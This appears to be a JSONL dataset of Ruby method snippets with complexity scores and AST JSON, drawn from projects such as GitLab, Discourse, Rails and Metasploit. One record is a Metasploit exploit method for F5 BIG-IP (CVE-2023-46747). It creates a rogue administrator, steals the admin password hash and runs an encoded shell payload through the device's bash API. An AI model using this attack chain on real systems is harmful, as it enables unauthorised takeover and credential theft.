{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/edit_fields/edit_field.rb","start_line":67,"raw_source":"def input_element\n    context.find \"#{@selector} #{input_selector}\"\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"input_element\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@selector\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input_selector\"]}]}]}]}]}","id":"a933c97a-2348-4c81-a804-03017ee94c74"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/redis/alfred.rb","start_line":84,"raw_source":"def zadd(key, score, value)\n      $alfred.with { |conn| conn.zadd(key, score, value) }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"zadd\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"score\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$alfred\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"zadd\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"score\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"770739b2-806b-4ed7-9fad-205b2f7718eb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/milestones/promote_service.rb","start_line":49,"raw_source":"def clone_project_milestone(milestone)\n      params = milestone.slice(:title, :description, :start_date, :due_date, :state_event)\n\n      create_service = CreateService.new(group, current_user, params)\n\n      milestone = create_service.execute\n\n      # milestone won't be valid here because of duplicated title\n      milestone.save(validate: false)\n\n      milestone\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"clone_project_milestone\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"milestone\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"sym\",\"children\":[\"start_date\"]},{\"type\":\"sym\",\"children\":[\"due_date\"]},{\"type\":\"sym\",\"children\":[\"state_event\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"create_service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CreateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"group\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"milestone\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_service\"]},\"execute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]},\"save\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"milestone\"]}]}]}","id":"d6f55fda-2e97-4fb2-9d73-19d4bd71c607"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-subscriptions/app/services/discourse_subscriptions/campaign.rb","start_line":129,"raw_source":"def create_price(product_id, group_name, amount, recurrence)\n      price_object = {\n        nickname: \"#{amount}/#{recurrence}\",\n        unit_amount: amount * 100,\n        product: product_id,\n        currency: SiteSetting.discourse_subscriptions_currency,\n        active: true,\n        recurring: {\n          interval: recurrence,\n        },\n        metadata: {\n          group_name: group_name,\n        },\n      }\n\n      plan = ::Stripe::Price.create(price_object)\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create_price\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"product_id\"]},{\"type\":\"arg\",\"children\":[\"group_name\"]},{\"type\":\"arg\",\"children\":[\"amount\"]},{\"type\":\"arg\",\"children\":[\"recurrence\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"price_object\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nickname\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"amount\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recurrence\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unit_amount\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"amount\"]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"product\"]},{\"type\":\"lvar\",\"children\":[\"product_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"discourse_subscriptions_currency\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recurring\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"lvar\",\"children\":[\"recurrence\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"lvar\",\"children\":[\"group_name\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plan\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Stripe\"]},\"Price\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"price_object\"]}]}]}]}]}","id":"e54126f8-e8a5-4af8-bda3-9af8df637434"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/helpers/event_options.rb","start_line":43,"raw_source":"def format_event_name(event)\n        if event.internal_events || event.category == 'default'\n          event.action\n        else\n          \"#{event.category}:#{event.action}\"\n        end\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"format_event_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"internal_events\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"category\"]},\"==\",{\"type\":\"str\",\"children\":[\"default\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"action\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"category\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"action\"]}]}]}]}]}","id":"e9dea079-13af-4d7f-8f3c-3f8a989a0f49"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/alert_reference_filter.rb","start_line":20,"raw_source":"def url_for_object(alert, project)\n          ::Gitlab::Routing.url_helpers.details_project_alert_management_url(\n            project,\n            alert.iid,\n            only_path: context[:only_path]\n          )\n        end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"url_for_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"alert\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"details_project_alert_management_url\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert\"]},\"iid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only_path\"]}]}]}]}]}]}","id":"9d87b9c2-35fa-4377-bf89-bd1dc7284885"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/test/rail_inspector/configuring/check/general_configuration_test.rb","start_line":7,"raw_source":"def test_errors_when_configuration_out_of_order\n    with_general_config <<~MD\n      #### `config.b`\n\n      #### `config.a`\n    MD\n\n    check([:a, :b]).check\n\n    assert_not_empty checker.errors\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_errors_when_configuration_out_of_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_general_config\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#### `config.b`\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"#### `config.a`\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"sym\",\"children\":[\"b\"]}]}]},\"check\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"checker\"]},\"errors\"]}]}]}]}","id":"68dbb98b-aa35-47b9-9c17-f7f24fbb0801"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_percent_q.rb","start_line":87,"raw_source":"def start_with_percent_q_variant?(string)\n          string.source.start_with?(PERCENT_Q, PERCENT_CAPITAL_Q)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start_with_percent_q_variant?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"source\"]},\"start_with?\",{\"type\":\"const\",\"children\":[null,\"PERCENT_Q\"]},{\"type\":\"const\",\"children\":[null,\"PERCENT_CAPITAL_Q\"]}]}]}","id":"8c03d26c-1a6a-4c3b-9959-b45f535a12e7"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/queries/capabilities_query.rb","start_line":52,"raw_source":"def handle_response(response)\n              error = Results::Error.new(source: self.class, payload: response)\n\n              case response\n              in { status: 200..299 }\n                json = response.json(symbolize_keys: true)\n                parse_capabilities(json)\n              in { status: 404 }\n                Failure(error.with(code: :not_found))\n              else\n                Failure(error.with(code: :error))\n              end\n            end","complexity_score":13.13,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"Error\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[299]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_keys\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"parse_capabilities\",{\"type\":\"lvar\",\"children\":[\"json\"]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[404]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]}]}]}]}","id":"c93ae0c7-3e7c-4535-8445-4d5410dcf8e6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb","start_line":91,"raw_source":"def exploit\n    res = create_user(role: 'Administrator')\n    fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200\n\n    changed = update_user_password\n    fail_with(Failure::UnexpectedReply, 'Failed to set the new user\\'s password.') unless changed\n\n    print_good(\"Admin user was created successfully. Credentials: #{username} - #{password}\")\n\n    res = bigip_api_tm_get_user('admin')\n    if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present?\n      print_good(\"Retrieved the admin hash: #{hash}\")\n      report_hash('admin', hash)\n    end\n\n    logged_in = retry_until_truthy(timeout: 30) do\n      res = bigip_api_shared_login\n      res&.code == 200\n    end\n    fail_with(Failure::UnexpectedReply, 'Failed to login.') unless logged_in\n\n    token = res.get_json_document.dig('token', 'token')\n    fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank?\n\n    print_status(\"Obtained login token: #{token}\")\n\n    bash_cmd = \"eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)\"\n    # this may or may not timeout\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'),\n      'headers' => {\n        'Content-Type' => 'application/json',\n        'X-F5-Auth-Token' => token\n      },\n      'data' => { 'command' => 'run', 'utilCmdArgs' => \"-c '#{bash_cmd}'\" }.to_json\n    )\n  end","complexity_score":57.48,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"create_user\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"Administrator\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to create the user.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"changed\",{\"type\":\"send\",\"children\":[null,\"update_user_password\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to set the new user's password.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Admin user was created successfully. Credentials: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"password\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"bigip_api_tm_get_user\",{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]},\"[]\",{\"type\":\"str\",\"children\":[\"encryptedPassword\"]}]}]}]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Retrieved the admin hash: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_hash\",{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"logged_in\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_until_truthy\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"int\",\"children\":[30]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"bigip_api_shared_login\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logged_in\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to login.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]},\"dig\",{\"type\":\"str\",\"children\":[\"token\"]},{\"type\":\"str\",\"children\":[\"token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to obtain a login token.\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Obtained login token: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bash_cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"eval $(echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"str\",\"children\":[\" | base64 -d)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"mgmt/tm/util/bash\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-F5-Auth-Token\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"command\"]},{\"type\":\"str\",\"children\":[\"run\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"utilCmdArgs\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-c '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bash_cmd\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},\"to_json\"]}]}]}]}]}]}","id":"c9110844-0ced-4fa3-84e2-b0b770510aa4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/postgres.rb","start_line":486,"raw_source":"def postgres_base64_file(fname)\n    data = File.open(fname, \"rb\") {|f| f.read f.stat.size}\n    postgres_base64_data(data)\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"postgres_base64_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"fname\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"postgres_base64_data\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"1ba947af-39f1-4977-8f61-0f94a4e64642"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/automation/app/models/discourse_automation/automation.rb","start_line":86,"raw_source":"def trigger_field(name)\n      field = fields.find_by(target: \"trigger\", name: name)\n      field ? field.metadata : {}\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fields\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"trigger\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"metadata\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"622f0fc4-3330-4fe4-b9b4-e285eadd5b29"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/error_tracking/issue_update_service.rb","start_line":7,"raw_source":"def perform\n      update_opts = {\n        issue_id: params[:issue_id],\n        params: update_params\n      }\n\n      response = update_issue(update_opts)\n\n      compose_response(response) do\n        project_error_tracking_setting.expire_issues_cache\n        response[:closed_issue_iid] = update_related_issue&.iid\n      end\n    end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"update_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"issue_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"update_params\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"update_issue\",{\"type\":\"lvar\",\"children\":[\"update_opts\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compose_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_error_tracking_setting\"]},\"expire_issues_cache\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"closed_issue_iid\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_related_issue\"]},\"iid\"]}]}]}]}]}]}","id":"1f0c6587-678e-478c-929e-885f5d858771"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/commits/commit_patch_service.rb","start_line":12,"raw_source":"def initialize(*args)\n      super\n\n      @patches = Gitlab::Git::Patches::Collection.new(Array(params[:patches]))\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@patches\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Patches\"]},\"Collection\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"patches\"]}]}]}]}]}]}]}","id":"7de98738-cbcd-47c0-9fa0-beb0c7eea277"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/core/http_helper.rb","start_line":6,"raw_source":"def build_request(method, uri, payload, headers)\n        request_class = case method.upcase\n                        when Constants::HTTP_GET then Net::HTTP::Get\n                        when Constants::HTTP_POST then Net::HTTP::Post\n                        when Constants::HTTP_PUT then Net::HTTP::Put\n                        when Constants::HTTP_PATCH then Net::HTTP::Patch\n                        when Constants::HTTP_DELETE then Net::HTTP::Delete\n                        else raise ArgumentError, \"Unsupported HTTP method: #{method}\"\n                        end\n\n        request = request_class.new(uri)\n        headers.each { |key, value| request[key] = value }\n        request.body = payload.to_json if payload && %w[POST PUT PATCH].include?(method.upcase)\n        request\n      